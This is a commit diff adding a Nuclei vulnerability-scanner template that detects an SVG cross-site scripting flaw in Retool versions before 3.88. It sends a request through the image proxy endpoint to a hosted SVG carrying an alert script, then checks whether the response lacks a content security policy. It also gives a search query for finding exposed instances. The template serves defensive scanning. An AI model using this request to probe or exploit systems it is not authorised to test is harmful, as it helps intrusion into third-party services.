Create retool-xss.yaml

http/vulnerabilities/retool/retool-xss.yaml

@@ -0,0 +1,41 @@
+id: retool-xss
+
+info:
+  name: Retool 3.88 < - SVG XSS
+  author: iamnoooob,iamnoooob,pdresearch
+  severity: high
+  description: |
+    This template checks for XSS vulnerability via the Image Proxy URL parameter.
+  reference:
+    - https://docs.retool.com/releases/edge/3.88#:~:text=Fixed%20an%20SVG%20XSS%20vulnerability%20by%20adding%20a%20CSP.%20(%2349381)
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: body="x-retool"
+  tags: retool,xss
+
+http:
+  - raw:
+      - |
+        GET /api/imageProxy?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/eb8e32c9393677006c2ea916f2e3010c2bd8e03f/helpers/payloads/retool-xss.svg HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "alert('document.domain');"
+          - "<?xml version"
+          - '<script type="text/javascript">'
+        condition: and
+
+      - type: word
+        part: header
+        negative: true
+        words:
+          - "Content-Security-Policy: default-src 'none';"
+
+      - type: status
+        status:
+          - 200